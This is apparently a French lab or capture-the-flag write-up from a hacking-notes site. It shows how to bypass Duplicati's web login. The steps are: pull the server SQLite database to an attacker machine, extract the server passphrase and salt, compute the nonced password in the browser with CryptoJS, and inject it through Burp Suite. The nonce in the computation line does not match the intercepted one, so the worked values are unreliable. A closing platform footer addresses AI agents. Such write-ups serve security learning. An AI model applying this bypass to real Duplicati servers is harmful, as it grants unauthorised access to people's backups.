> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md). # Duplicati - Contournement de l’authentification de connexion Notes de contournement d’authentification Duplicati pour l’extraction de la configuration SQLite, la récupération de la server-passphrase, le calcul du mot de passe nonce, l’interception avec Burp et le contournement de la connexion. {% embed url="" %} Lors de l'analyse de la cible, un **Duplicati** portail web est découvert. Le portail expose un panneau d'authentification nécessitant un mot de passe.

{% hint style="info" %} Duplicati est un client de sauvegarde qui stocke des sauvegardes chiffrées, incrémentales et compressées de fichiers locaux chez des fournisseurs de stockage cloud ou sur des serveurs de fichiers. {% endhint %} L'énumération du système localise le répertoire de configuration de Duplicati à `/opt/duplicati`. Le fichier SQLite `Duplicati-server.sqlite` peut contenir des informations sensibles.

#### Téléchargement du fichier SQLite Pour analyser le fichier, téléchargez-le sur la machine de l'attaquant à l'aide d'un serveur HTTP Python : ```bash python3 -m http.server 4444 ``` ```bash wget http://10.10.11.30:4444/Duplicati-server.sqlite ```

#### Analyse du fichier SQLite Ouvrez le fichier avec `sqlite3` pour inspecter son contenu : ```bash sqlite3 Duplicati-server.sqlite ``` Listez les tables et sélectionnez la `option` pour l'extraction des données : ```sql .tables select * from option; ```

| Clé | Valeur | | --------------------------------- | ---------------------------------------------- | | `server-passphrase` | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` | | `server-passphrase-salt` | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` | | `server-passphrase-trayicon` | `ce13157b-a06e-4b60-811d-60d294e8d0ae` | | `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` | #### Conversion de la phrase secrète Le `server-passphrase` La valeur est encodée en Base64. Décodez-la et convertissez-la en hexadécimal avec : ```bash echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256 ```

#### Cela donne la valeur hexadécimale suivante : ```excel-formula 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a ``` ### Calcul final du mot de passe Pour générer le mot de passe final, exécutez les étapes suivantes dans la console du navigateur : **Définissez la phrase secrète salée :** ```javascript var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; ``` ### Interception de la requête avec Burp Suite Interceptez la requête dans Burp Suite, choisissez `Interception > Réponse à cette requête`, puis cliquez sur `Transférer`.

Une requête HTTP interceptée avec **Burp Suite** révèle les valeurs suivantes :

```json { "Status": "OK", "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=", "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=" } ``` Le `Sel` correspond au champ `server-passphrase-salt` extrait de la base de données. **Calculez le mot de passe nonce :** {% code overflow="wrap" %} ```javascript var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64); ``` {% endcode %} **Affichez le résultat :** ```javascript console.log(noncedpwd); ```

Le mot de passe généré (`noncedpwd`) est : `bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=` #### Injection et exploitation du mot de passe 1. Collez le mot de passe calculé. 2. Utilisez **Ctrl + U** pour l'encoder en URL.

3. Cliquez sur **Transférer** à nouveau pour terminer l'exploitation.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.